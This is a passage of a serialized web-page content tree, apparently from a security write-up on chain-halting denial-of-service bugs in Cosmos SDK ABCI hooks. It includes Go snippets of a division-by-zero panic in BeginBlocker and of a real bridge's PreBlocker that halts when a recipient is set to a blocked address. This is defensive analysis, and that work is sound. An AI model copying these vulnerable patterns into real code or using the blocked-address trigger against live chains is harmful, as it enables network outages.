",{"type":24,"tag":156,"props":84470,"children":84472},{"className":84471},[],[84473],{"type":30,"value":84474},"PreBlocker",{"type":30,"value":962},{"type":24,"tag":156,"props":84477,"children":84479},{"className":84478},[],[84480],{"type":30,"value":84481},"BeginBlocker",{"type":30,"value":9599},{"type":24,"tag":156,"props":84484,"children":84486},{"className":84485},[],[84487],{"type":30,"value":84488},"EndBlocker",{"type":30,"value":84490},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":24,"tag":156,"props":84492,"children":84494},{"className":84493},[],[84495],{"type":30,"value":84481},{"type":30,"value":84497}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":24,"tag":920,"props":84499,"children":84501},{"code":84500,"language":79244,"meta":7,"className":79245,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[84502],{"type":24,"tag":156,"props":84503,"children":84504},{"__ignoreMap":7},[84505,84570,84577,84625,84653,84660,84672],{"type":24,"tag":930,"props":84506,"children":84507},{"class":932,"line":933},[84508,84512,84517,84521,84525,84529,84533,84537,84541,84545,84550,84554,84558,84562,84566],{"type":24,"tag":930,"props":84509,"children":84510},{"style":937},[84511],{"type":30,"value":79380},{"type":24,"tag":930,"props":84513,"children":84514},{"style":1002},[84515],{"type":30,"value":84516}," BeginBlocker",{"type":24,"tag":930,"props":84518,"children":84519},{"style":959},[84520],{"type":30,"value":1010},{"type":24,"tag":930,"props":84522,"children":84523},{"style":1023},[84524],{"type":30,"value":23384},{"type":24,"tag":930,"props":84526,"children":84527},{"style":943},[84528],{"type":30,"value":1102},{"type":24,"tag":930,"props":84530,"children":84531},{"style":959},[84532],{"type":30,"value":436},{"type":24,"tag":930,"props":84534,"children":84535},{"style":943},[84536],{"type":30,"value":79428},{"type":24,"tag":930,"props":84538,"children":84539},{"style":959},[84540],{"type":30,"value":962},{"type":24,"tag":930,"props":84542,"children":84543},{"style":1023},[84544],{"type":30,"value":84336},{"type":24,"tag":930,"props":84546,"children":84547},{"style":943},[84548],{"type":30,"value":84549}," keeper",{"type":24,"tag":930,"props":84551,"children":84552},{"style":959},[84553],{"type":30,"value":436},{"type":24,"tag":930,"props":84555,"children":84556},{"style":943},[84557],{"type":30,"value":83023},{"type":24,"tag":930,"props":84559,"children":84560},{"style":959},[84561],{"type":30,"value":5579},{"type":24,"tag":930,"props":84563,"children":84564},{"style":943},[84565],{"type":30,"value":17967},{"type":24,"tag":930,"props":84567,"children":84568},{"style":959},[84569],{"type":30,"value":981},{"type":24,"tag":930,"props":84571,"children":84572},{"class":932,"line":984},[84573],{"type":24,"tag":930,"props":84574,"children":84575},{"emptyLinePlaceholder":16},[84576],{"type":30,"value":2412},{"type":24,"tag":930,"props":84578,"children":84579},{"class":932,"line":993},[84580,84584,84588,84592,84596,84600,84604,84608,84613,84617,84621],{"type":24,"tag":930,"props":84581,"children":84582},{"style":1023},[84583],{"type":30,"value":84318},{"type":24,"tag":930,"props":84585,"children":84586},{"style":1158},[84587],{"type":30,"value":79495},{"type":24,"tag":930,"props":84589,"children":84590},{"style":1023},[84591],{"type":30,"value":84549},{"type":24,"tag":930,"props":84593,"children":84594},{"style":959},[84595],{"type":30,"value":436},{"type":24,"tag":930,"props":84597,"children":84598},{"style":1002},[84599],{"type":30,"value":84345},{"type":24,"tag":930,"props":84601,"children":84602},{"style":959},[84603],{"type":30,"value":3446},{"type":24,"tag":930,"props":84605,"children":84606},{"style":1158},[84607],{"type":30,"value":1471},{"type":24,"tag":930,"props":84609,"children":84610},{"style":1023},[84611],{"type":30,"value":84612},"  keeper",{"type":24,"tag":930,"props":84614,"children":84615},{"style":959},[84616],{"type":30,"value":436},{"type":24,"tag":930,"props":84618,"children":84619},{"style":1002},[84620],{"type":30,"value":84375},{"type":24,"tag":930,"props":84622,"children":84623},{"style":959},[84624],{"type":30,"value":10846},{"type":24,"tag":930,"props":84626,"children":84627},{"class":932,"line":1057},[84628,84633,84637,84641,84645,84649],{"type":24,"tag":930,"props":84629,"children":84630},{"style":1023},[84631],{"type":30,"value":84632},"    keeper",{"type":24,"tag":930,"props":84634,"children":84635},{"style":959},[84636],{"type":30,"value":436},{"type":24,"tag":930,"props":84638,"children":84639},{"style":1002},[84640],{"type":30,"value":84404},{"type":24,"tag":930,"props":84642,"children":84643},{"style":959},[84644],{"type":30,"value":1010},{"type":24,"tag":930,"props":84646,"children":84647},{"style":1023},[84648],{"type":30,"value":84413},{"type":24,"tag":930,"props":84650,"children":84651},{"style":959},[84652],{"type":30,"value":1054},{"type":24,"tag":930,"props":84654,"children":84655},{"class":932,"line":1066},[84656],{"type":24,"tag":930,"props":84657,"children":84658},{"emptyLinePlaceholder":16},[84659],{"type":30,"value":2412},{"type":24,"tag":930,"props":84661,"children":84662},{"class":932,"line":1075},[84663,84667],{"type":24,"tag":930,"props":84664,"children":84665},{"style":1079},[84666],{"type":30,"value":55955},{"type":24,"tag":930,"props":84668,"children":84669},{"style":937},[84670],{"type":30,"value":84671}," nil\n",{"type":24,"tag":930,"props":84673,"children":84674},{"class":932,"line":1122},[84675],{"type":24,"tag":930,"props":84676,"children":84677},{"style":959},[84678],{"type":30,"value":2528},{"type":24,"tag":151,"props":84680,"children":84682},{"id":84681},"real-world-examples-3",[84683],{"type":30,"value":79768},{"type":24,"tag":33,"props":84685,"children":84686},{},[84687],{"type":30,"value":84688},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":24,"tag":33,"props":84690,"children":84691},{},[84692,84694,84700,84702,84707,84709,84715,84717,84723,84725,84731],{"type":30,"value":84693},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":24,"tag":156,"props":84695,"children":84697},{"className":84696},[],[84698],{"type":30,"value":84699},"bankKeeper.SendCoinsFromModuleToAccount",{"type":30,"value":84701}," will be bubbled up through ",{"type":24,"tag":156,"props":84703,"children":84705},{"className":84704},[],[84706],{"type":30,"value":84474},{"type":30,"value":84708}," and halt the chain. It turns out an attacker can force ",{"type":24,"tag":156,"props":84710,"children":84712},{"className":84711},[],[84713],{"type":30,"value":84714},"SendCoinsFromModuleToAccount",{"type":30,"value":84716}," to return an error by setting ",{"type":24,"tag":156,"props":84718,"children":84720},{"className":84719},[],[84721],{"type":30,"value":84722},"recipient",{"type":30,"value":84724}," to some ",{"type":24,"tag":156,"props":84726,"children":84728},{"className":84727},[],[84729],{"type":30,"value":84730},"BlockedAddr",{"type":30,"value":84732},",rendering the code susceptible to DoS attacks.",{"type":24,"tag":33,"props":84734,"children":84735},{},[84736],{"type":24,"tag":37,"props":84737,"children":84740},{"href":84738,"rel":84739},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[41],[84741],{"type":30,"value":79818},{"type":24,"tag":920,"props":84743,"children":84745},{"code":84744,"language":79244,"meta":7,"className":79245,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[84746],{"type":24,"tag":156,"props":84747,"children":84748},{"__ignoreMap":7},[84749,84802,84817,84840,84870,84906,84914,84970,84994,85044,85051,85058,85065,85072,85079,85110,85133,85158,85173,85180,85217,85271,85294,85335,85342,85349,85400,85461,85484,85507,85519,85540,85552,85560,85567,85582,85590,85597,85604,85611,85618,85625,85656,85679,85704,85729,85744,85751,85788,85799,85820,85831,85843,85850,85873,85913,85920,85927],{"type":24,"tag":930,"props":84750,"children":84751},{"class":932,"line":933},[84752,84756,84760,84765,84769,84774,84778,84782,84786,84790,84794,84798],{"type":24,"tag":930,"props":84753,"children":84754},{"style":937},[84755],{"type":30,"value":79380},{"type":24,"tag":930,"props":84757,"children":84758},{"style":959},[84759],{"type":30,"value":1087},{"type":24,"tag":930,"props":84761,"children":84762},{"style":1023},[84763],{"type":30,"value":84764},"pbh ",{"type":24,"tag":930,"props":84766,"children":84767},{"style":1158},[84768],{"type":30,"value":1410},{"type":24,"tag":930,"props":84770,"children":84771},{"style":943},[84772],{"type":30,"value":84773},"PreBlockHandler",{"type":24,"tag":930,"props":84775,"children":84776},{"style":959},[84777],{"type":30,"value":5579},{"type":24,"tag":930,"props":84779,"children":84780},{"style":1002},[84781],{"type":30,"value":84474},{"type":24,"tag":930,"props":84783,"children":84784},{"style":959},[84785],{"type":30,"value":3446},{"type":24,"tag":930,"props":84787,"children":84788},{"style":943},[84789],{"type":30,"value":81809},{"type":24,"tag":930,"props":84791,"children":84792},{"style":959},[84793],{"type":30,"value":436},{"type":24,"tag":930,"props":84795,"children":84796},{"style":943},[84797],{"type":30,"value":84474},{"type":24,"tag":930,"props":84799,"children":84800},{"style":959},[84801],{"type":30,"value":981},{"type":24,"tag":930,"props":84803,"children":84804},{"class":932,"line":984},[84805,84809,84813],{"type":24,"tag":930,"props":84806,"children":84807},{"style":1079},[84808],{"type":30,"value":20090},{"type":24,"tag":930,"props":84810,"children":84811},{"style":937},[84812],{"type":30,"value":83087},{"type":24,"tag":930,"props":84814,"children":84815},{"style":959},[84816],{"type":30,"value":2814},{"type":24,"tag":930,"props":84818,"children":84819},{"class":932,"line":993},[84820,84824,84828,84832,84836],{"type":24,"tag":930,"props":84821,"children":84822},{"style":1023},[84823],{"type":30,"value":29278},{"type":24,"tag":930,"props":84825,"children":84826},{"style":943},[84827],{"type":30,"value":81720},{"type":24,"tag":930,"props":84829,"children":84830},{"style":959},[84831],{"type":30,"value":436},{"type":24,"tag":930,"props":84833,"children":84834},{"style":943},[84835],{"type":30,"value":79428},{"type":24,"tag":930,"props":84837,"children":84838},{"style":959},[84839],{"type":30,"value":2832},{"type":24,"tag":930,"props":84841,"children":84842},{"class":932,"line":1057},[84843,84848,84852,84857,84861,84866],{"type":24,"tag":930,"props":84844,"children":84845},{"style":1023},[84846],{"type":30,"value":84847},"        req",{"type":24,"tag":930,"props":84849,"children":84850},{"style":1158},[84851],{"type":30,"value":12924},{"type":24,"tag":930,"props":84853,"children":84854},{"style":943},[84855],{"type":30,"value":84856},"cmtabci",{"type":24,"tag":930,"props":84858,"children":84859},{"style":959},[84860],{"type":30,"value":436},{"type":24,"tag":930,"props":84862,"children":84863},{"style":943},[84864],{"type":30,"value":84865},"RequestFinalizeBlock",{"type":24,"tag":930,"props":84867,"children":84868},{"style":959},[84869],{"type":30,"value":2832},{"type":24,"tag":930,"props":84871,"children":84872},{"class":932,"line":1066},[84873,84877,84881,84885,84889,84894,84898,84902],{"type":24,"tag":930,"props":84874,"children":84875},{"style":959},[84876],{"type":30,"value":83155},{"type":24,"tag":930,"props":84878,"children":84879},{"style":1158},[84880],{"type":30,"value":1410},{"type":24,"tag":930,"props":84882,"children":84883},{"style":943},[84884],{"type":30,"value":81809},{"type":24,"tag":930,"props":84886,"children":84887},{"style":959},[84888],{"type":30,"value":436},{"type":24,"tag":930,"props":84890,"children":84891},{"style":943},[84892],{"type":30,"value":84893},"ResponsePreBlock",{"type":24,"tag":930,"props":84895,"children":84896},{"style":959},[84897],{"type":30,"value":962},{"type":24,"tag":930,"props":84899,"children":84900},{"style":943},[84901],{"type":30,"value":17967},{"type":24,"tag":930,"props":84903,"children":84904},{"style":959},[84905],{"type":30,"value":1503},{"type":24,"tag":930,"props":84907,"children":84908},{"class":932,"line":1075},[84909],{"type":24,"tag":930,"props":84910,"children":84911},{"style":1158},[84912],{"type":30,"value":84913},"        ...\n",{"type":24,"tag":930,"props":84915,"children":84916},{"class":932,"line":1122},[84917,84922,84926,84931,84935,84940,84944,84949,84953,84957,84961,84966],{"type":24,"tag":930,"props":84918,"children":84919},{"style":1023},[84920],{"type":30,"value":84921},"        err",{"type":24,"tag":930,"props":84923,"children":84924},{"style":1158},[84925],{"type":30,"value":79495},{"type":24,"tag":930,"props":84927,"children":84928},{"style":1023},[84929],{"type":30,"value":84930}," pbh",{"type":24,"tag":930,"props":84932,"children":84933},{"style":959},[84934],{"type":30,"value":436},{"type":24,"tag":930,"props":84936,"children":84937},{"style":1023},[84938],{"type":30,"value":84939},"bridgeKeeper",{"type":24,"tag":930,"props":84941,"children":84942},{"style":959},[84943],{"type":30,"value":436},{"type":24,"tag":930,"props":84945,"children":84946},{"style":1002},[84947],{"type":30,"value":84948},"AcceptAssetsLocked",{"type":24,"tag":930,"props":84950,"children":84951},{"style":959},[84952],{"type":30,"value":1010},{"type":24,"tag":930,"props":84954,"children":84955},{"style":1023},[84956],{"type":30,"value":23384},{"type":24,"tag":930,"props":84958,"children":84959},{"style":959},[84960],{"type":30,"value":962},{"type":24,"tag":930,"props":84962,"children":84963},{"style":1023},[84964],{"type":30,"value":84965},"events",{"type":24,"tag":930,"props":84967,"children":84968},{"style":959},[84969],{"type":30,"value":1054},{"type":24,"tag":930,"props":84971,"children":84972},{"class":932,"line":1131},[84973,84977,84981,84985,84990],{"type":24,"tag":930,"props":84974,"children":84975},{"style":1079},[84976],{"type":30,"value":3290},{"type":24,"tag":930,"props":84978,"children":84979},{"style":1023},[84980],{"type":30,"value":51610},{"type":24,"tag":930,"props":84982,"children":84983},{"style":1158},[84984],{"type":30,"value":67472},{"type":24,"tag":930,"props":84986,"children":84987},{"style":937},[84988],{"type":30,"value":84989}," nil",{"type":24,"tag":930,"props":84991,"children":84992},{"style":959},[84993],{"type":30,"value":981},{"type":24,"tag":930,"props":84995,"children":84996},{"class":932,"line":1144},[84997,85001,85005,85009,85014,85018,85023,85027,85032,85036,85040],{"type":24,"tag":930,"props":84998,"children":84999},{"style":1079},[85000],{"type":30,"value":4279},{"type":24,"tag":930,"props":85002,"children":85003},{"style":937},[85004],{"type":30,"value":84989},{"type":24,"tag":930,"props":85006,"children":85007},{"style":959},[85008],{"type":30,"value":962},{"type":24,"tag":930,"props":85010,"children":85011},{"style":1023},[85012],{"type":30,"value":85013},"fmt",{"type":24,"tag":930,"props":85015,"children":85016},{"style":959},[85017],{"type":30,"value":436},{"type":24,"tag":930,"props":85019,"children":85020},{"style":1002},[85021],{"type":30,"value":85022},"Errorf",{"type":24,"tag":930,"props":85024,"children":85025},{"style":959},[85026],{"type":30,"value":1010},{"type":24,"tag":930,"props":85028,"children":85029},{"style":1270},[85030],{"type":30,"value":85031},"\"cannot accept AssetsLocked events: %w\"",{"type":24,"tag":930,"props":85033,"children":85034},{"style":959},[85035],{"type":30,"value":962},{"type":24,"tag":930,"props":85037,"children":85038},{"style":1023},[85039],{"type":30,"value":51509},{"type":24,"tag":930,"props":85041,"children":85042},{"style":959},[85043],{"type":30,"value":1054},{"type":24,"tag":930,"props":85045,"children":85046},{"class":932,"line":1169},[85047],{"type":24,"tag":930,"props":85048,"children":85049},{"style":959},[85050],{"type":30,"value":1831},{"type":24,"tag":930,"props":85052,"children":85053},{"class":932,"line":1191},[85054],{"type":24,"tag":930,"props":85055,"children":85056},{"style":1158},[85057],{"type":30,"value":84913},{"type":24,"tag":930,"props":85059,"children":85060},{"class":932,"line":1223},[85061],{"type":24,"tag":930,"props":85062,"children":85063},{"style":959},[85064],{"type":30,"value":1840},{"type":24,"tag":930,"props":85066,"children":85067},{"class":932,"line":1281},[85068],{"type":24,"tag":930,"props":85069,"children":85070},{"style":959},[85071],{"type":30,"value":2528},{"type":24,"tag":930,"props":85073,"children":85074},{"class":932,"line":1313},[85075],{"type":24,"tag":930,"props":85076,"children":85077},{"emptyLinePlaceholder":16},[85078],{"type":30,"value":2412},{"type":24,"tag":930,"props":85080,"children":85081},{"class":932,"line":1335},[85082,85086,85090,85094,85098,85102,85106],{"type":24,"tag":930,"props":85083,"children":85084},{"style":937},[85085],{"type":30,"value":79380},{"type":24,"tag":930,"props":85087,"children":85088},{"style":959},[85089],{"type":30,"value":1087},{"type":24,"tag":930,"props":85091,"children":85092},{"style":1023},[85093],{"type":30,"value":84199},{"type":24,"tag":930,"props":85095,"children":85096},{"style":943},[85097],{"type":30,"value":83023},{"type":24,"tag":930,"props":85099,"children":85100},{"style":959},[85101],{"type":30,"value":5579},{"type":24,"tag":930,"props":85103,"children":85104},{"style":1002},[85105],{"type":30,"value":84948},{"type":24,"tag":930,"props":85107,"children":85108},{"style":959},[85109],{"type":30,"value":2814},{"type":24,"tag":930,"props":85111,"children":85112},{"class":932,"line":1376},[85113,85117,85121,85125,85129],{"type":24,"tag":930,"props":85114,"children":85115},{"style":1023},[85116],{"type":30,"value":23327},{"type":24,"tag":930,"props":85118,"children":85119},{"style":943},[85120],{"type":30,"value":81720},{"type":24,"tag":930,"props":85122,"children":85123},{"style":959},[85124],{"type":30,"value":436},{"type":24,"tag":930,"props":85126,"children":85127},{"style":943},[85128],{"type":30,"value":79428},{"type":24,"tag":930,"props":85130,"children":85131},{"style":959},[85132],{"type":30,"value":2832},{"type":24,"tag":930,"props":85134,"children":85135},{"class":932,"line":1418},[85136,85141,85145,85149,85154],{"type":24,"tag":930,"props":85137,"children":85138},{"style":1023},[85139],{"type":30,"value":85140},"    events",{"type":24,"tag":930,"props":85142,"children":85143},{"style":943},[85144],{"type":30,"value":81254},{"type":24,"tag":930,"props":85146,"children":85147},{"style":959},[85148],{"type":30,"value":436},{"type":24,"tag":930,"props":85150,"children":85151},{"style":943},[85152],{"type":30,"value":85153},"AssetsLockedEvents",{"type":24,"tag":930,"props":85155,"children":85156},{"style":959},[85157],{"type":30,"value":2832},{"type":24,"tag":930,"props":85159,"children":85160},{"class":932,"line":1438},[85161,85165,85169],{"type":24,"tag":930,"props":85162,"children":85163},{"style":959},[85164],{"type":30,"value":5579},{"type":24,"tag":930,"props":85166,"children":85167},{"style":943},[85168],{"type":30,"value":17967},{"type":24,"tag":930,"props":85170,"children":85171},{"style":959},[85172],{"type":30,"value":981},{"type":24,"tag":930,"props":85174,"children":85175},{"class":932,"line":1479},[85176],{"type":24,"tag":930,"props":85177,"children":85178},{"style":1158},[85179],{"type":30,"value":23443},{"type":24,"tag":930,"props":85181,"children":85182},{"class":932,"line":1506},[85183,85187,85191,85195,85200,85204,85208,85213],{"type":24,"tag":930,"props":85184,"children":85185},{"style":1079},[85186],{"type":30,"value":6154},{"type":24,"tag":930,"props":85188,"children":85189},{"style":1023},[85190],{"type":30,"value":6159},{"type":24,"tag":930,"props":85192,"children":85193},{"style":959},[85194],{"type":30,"value":962},{"type":24,"tag":930,"props":85196,"children":85197},{"style":1023},[85198],{"type":30,"value":85199},"event",{"type":24,"tag":930,"props":85201,"children":85202},{"style":1158},[85203],{"type":30,"value":79495},{"type":24,"tag":930,"props":85205,"children":85206},{"style":1079},[85207],{"type":30,"value":80478},{"type":24,"tag":930,"props":85209,"children":85210},{"style":1023},[85211],{"type":30,"value":85212}," events",{"type":24,"tag":930,"props":85214,"children":85215},{"style":959},[85216],{"type":30,"value":981},{"type":24,"tag":930,"props":85218,"children":85219},{"class":932,"line":1525},[85220,85225,85229,85233,85237,85241,85245,85250,85254,85258,85262,85267],{"type":24,"tag":930,"props":85221,"children":85222},{"style":1023},[85223],{"type":30,"value":85224},"        recipient",{"type":24,"tag":930,"props":85226,"children":85227},{"style":959},[85228],{"type":30,"value":962},{"type":24,"tag":930,"props":85230,"children":85231},{"style":1023},[85232],{"type":30,"value":51509},{"type":24,"tag":930,"props":85234,"children":85235},{"style":1158},[85236],{"type":30,"value":79495},{"type":24,"tag":930,"props":85238,"children":85239},{"style":1023},[85240],{"type":30,"value":81720},{"type":24,"tag":930,"props":85242,"children":85243},{"style":959},[85244],{"type":30,"value":436},{"type":24,"tag":930,"props":85246,"children":85247},{"style":1002},[85248],{"type":30,"value":85249},"AccAddressFromBech32",{"type":24,"tag":930,"props":85251,"children":85252},{"style":959},[85253],{"type":30,"value":1010},{"type":24,"tag":930,"props":85255,"children":85256},{"style":1023},[85257],{"type":30,"value":85199},{"type":24,"tag":930,"props":85259,"children":85260},{"style":959},[85261],{"type":30,"value":436},{"type":24,"tag":930,"props":85263,"children":85264},{"style":1023},[85265],{"type":30,"value":85266},"Recipient",{"type":24,"tag":930,"props":85268,"children":85269},{"style":959},[85270],{"type":30,"value":1054},{"type":24,"tag":930,"props":85272,"children":85273},{"class":932,"line":1569},[85274,85278,85282,85286,85290],{"type":24,"tag":930,"props":85275,"children":85276},{"style":1079},[85277],{"type":30,"value":3290},{"type":24,"tag":930,"props":85279,"children":85280},{"style":1023},[85281],{"type":30,"value":51610},{"type":24,"tag":930,"props":85283,"children":85284},{"style":1158},[85285],{"type":30,"value":67472},{"type":24,"tag":930,"props":85287,"children":85288},{"style":937},[85289],{"type":30,"value":84989},{"type":24,"tag":930,"props":85291,"children":85292},{"style":959},[85293],{"type":30,"value":981},{"type":24,"tag":930,"props":85295,"children":85296},{"class":932,"line":1592},[85297,85301,85306,85310,85314,85318,85323,85327,85331],{"type":24,"tag":930,"props":85298,"children":85299},{"style":1079},[85300],{"type":30,"value":4279},{"type":24,"tag":930,"props":85302,"children":85303},{"style":1023},[85304],{"type":30,"value":85305}," fmt",{"type":24,"tag":930,"props":85307,"children":85308},{"style":959},[85309],{"type":30,"value":436},{"type":24,"tag":930,"props":85311,"children":85312},{"style":1002},[85313],{"type":30,"value":85022},{"type":24,"tag":930,"props":85315,"children":85316},{"style":959},[85317],{"type":30,"value":1010},{"type":24,"tag":930,"props":85319,"children":85320},{"style":1270},[85321],{"type":30,"value":85322},"\"failed to parse recipient address: %w\"",{"type":24,"tag":930,"props":85324,"children":85325},{"style":959},[85326],{"type":30,"value":962},{"type":24,"tag":930,"props":85328,"children":85329},{"style":1023},[85330],{"type":30,"value":51509},{"type":24,"tag":930,"props":85332,"children":85333},{"style":959},[85334],{"type":30,"value":1054},{"type":24,"tag":930,"props":85336,"children":85337},{"class":932,"line":1610},[85338],{"type":24,"tag":930,"props":85339,"children":85340},{"style":959},[85341],{"type":30,"value":1831},{"type":24,"tag":930,"props":85343,"children":85344},{"class":932,"line":1628},[85345],{"type":24,"tag":930,"props":85346,"children":85347},{"emptyLinePlaceholder":16},[85348],{"type":30,"value":2412},{"type":24,"tag":930,"props":85350,"children":85351},{"class":932,"line":1637},[85352,85356,85361,85365,85370,85374,85378,85382,85387,85391,85396],{"type":24,"tag":930,"props":85353,"children":85354},{"style":1079},[85355],{"type":30,"value":3290},{"type":24,"tag":930,"props":85357,"children":85358},{"style":1023},[85359],{"type":30,"value":85360}," bytes",{"type":24,"tag":930,"props":85362,"children":85363},{"style":959},[85364],{"type":30,"value":436},{"type":24,"tag":930,"props":85366,"children":85367},{"style":1002},[85368],{"type":30,"value":85369},"Equal",{"type":24,"tag":930,"props":85371,"children":85372},{"style":959},[85373],{"type":30,"value":1010},{"type":24,"tag":930,"props":85375,"children":85376},{"style":1023},[85377],{"type":30,"value":85199},{"type":24,"tag":930,"props":85379,"children":85380},{"style":959},[85381],{"type":30,"value":436},{"type":24,"tag":930,"props":85383,"children":85384},{"style":1002},[85385],{"type":30,"value":85386},"TokenBytes",{"type":24,"tag":930,"props":85388,"children":85389},{"style":959},[85390],{"type":30,"value":1364},{"type":24,"tag":930,"props":85392,"children":85393},{"style":1023},[85394],{"type":30,"value":85395},"sourceBTCToken",{"type":24,"tag":930,"props":85397,"children":85398},{"style":959},[85399],{"type":30,"value":1503},{"type":24,"tag":930,"props":85401,"children":85402},{"class":932,"line":1646},[85403,85408,85412,85416,85420,85425,85429,85433,85437,85441,85445,85449,85453,85457],{"type":24,"tag":930,"props":85404,"children":85405},{"style":1023},[85406],{"type":30,"value":85407},"            err",{"type":24,"tag":930,"props":85409,"children":85410},{"style":1158},[85411],{"type":30,"value":6137},{"type":24,"tag":930,"props":85413,"children":85414},{"style":1023},[85415],{"type":30,"value":84327},{"type":24,"tag":930,"props":85417,"children":85418},{"style":959},[85419],{"type":30,"value":436},{"type":24,"tag":930,"props":85421,"children":85422},{"style":1002},[85423],{"type":30,"value":85424},"mintBTC",{"type":24,"tag":930,"props":85426,"children":85427},{"style":959},[85428],{"type":30,"value":1010},{"type":24,"tag":930,"props":85430,"children":85431},{"style":1023},[85432],{"type":30,"value":23384},{"type":24,"tag":930,"props":85434,"children":85435},{"style":959},[85436],{"type":30,"value":962},{"type":24,"tag":930,"props":85438,"children":85439},{"style":1023},[85440],{"type":30,"value":84722},{"type":24,"tag":930,"props":85442,"children":85443},{"style":959},[85444],{"type":30,"value":962},{"type":24,"tag":930,"props":85446,"children":85447},{"style":1023},[85448],{"type":30,"value":85199},{"type":24,"tag":930,"props":85450,"children":85451},{"style":959},[85452],{"type":30,"value":436},{"type":24,"tag":930,"props":85454,"children":85455},{"style":1023},[85456],{"type":30,"value":82134},{"type":24,"tag":930,"props":85458,"children":85459},{"style":959},[85460],{"type":30,"value":1054},{"type":24,"tag":930,"props":85462,"children":85463},{"class":932,"line":1673},[85464,85468,85472,85476,85480],{"type":24,"tag":930,"props":85465,"children":85466},{"style":1079},[85467],{"type":30,"value":1485},{"type":24,"tag":930,"props":85469,"children":85470},{"style":1023},[85471],{"type":30,"value":51610},{"type":24,"tag":930,"props":85473,"children":85474},{"style":1158},[85475],{"type":30,"value":67472},{"type":24,"tag":930,"props":85477,"children":85478},{"style":937},[85479],{"type":30,"value":84989},{"type":24,"tag":930,"props":85481,"children":85482},{"style":959},[85483],{"type":30,"value":981},{"type":24,"tag":930,"props":85485,"children":85486},{"class":932,"line":1692},[85487,85491,85495,85499,85503],{"type":24,"tag":930,"props":85488,"children":85489},{"style":1079},[85490],{"type":30,"value":63815},{"type":24,"tag":930,"props":85492,"children":85493},{"style":1023},[85494],{"type":30,"value":85305},{"type":24,"tag":930,"props":85496,"children":85497},{"style":959},[85498],{"type":30,"value":436},{"type":24,"tag":930,"props":85500,"children":85501},{"style":1002},[85502],{"type":30,"value":85022},{"type":24,"tag":930,"props":85504,"children":85505},{"style":959},[85506],{"type":30,"value":2814},{"type":24,"tag":930,"props":85508,"children":85509},{"class":932,"line":1730},[85510,85515],{"type":24,"tag":930,"props":85511,"children":85512},{"style":1270},[85513],{"type":30,"value":85514},"                    \"failed to mint BTC for event %v: %w\"",{"type":24,"tag":930,"props":85516,"children":85517},{"style":959},[85518],{"type":30,"value":2832},{"type":24,"tag":930,"props":85520,"children":85521},{"class":932,"line":1762},[85522,85527,85531,85536],{"type":24,"tag":930,"props":85523,"children":85524},{"style":1023},[85525],{"type":30,"value":85526},"                    event",{"type":24,"tag":930,"props":85528,"children":85529},{"style":959},[85530],{"type":30,"value":436},{"type":24,"tag":930,"props":85532,"children":85533},{"style":1023},[85534],{"type":30,"value":85535},"Sequence",{"type":24,"tag":930,"props":85537,"children":85538},{"style":959},[85539],{"type":30,"value":2832},{"type":24,"tag":930,"props":85541,"children":85542},{"class":932,"line":1775},[85543,85548],{"type":24,"tag":930,"props":85544,"children":85545},{"style":1023},[85546],{"type":30,"value":85547},"                    err",{"type":24,"tag":930,"props":85549,"children":85550},{"style":959},[85551],{"type":30,"value":2832},{"type":24,"tag":930,"props":85553,"children":85554},{"class":932,"line":1825},[85555],{"type":24,"tag":930,"props":85556,"children":85557},{"style":959},[85558],{"type":30,"value":85559},"                )\n",{"type":24,"tag":930,"props":85561,"children":85562},{"class":932,"line":1834},[85563],{"type":24,"tag":930,"props":85564,"children":85565},{"style":959},[85566],{"type":30,"value":1643},{"type":24,"tag":930,"props":85568,"children":85569},{"class":932,"line":1843},[85570,85574,85578],{"type":24,"tag":930,"props":85571,"children":85572},{"style":959},[85573],{"type":30,"value":6430},{"type":24,"tag":930,"props":85575,"children":85576},{"style":1079},[85577],{"type":30,"value":2317},{"type":24,"tag":930,"props":85579,"children":85580},{"style":959},[85581],{"type":30,"value":981},{"type":24,"tag":930,"props":85583,"children":85584},{"class":932,"line":1851},[85585],{"type":24,"tag":930,"props":85586,"children":85587},{"style":1158},[85588],{"type":30,"value":85589},"            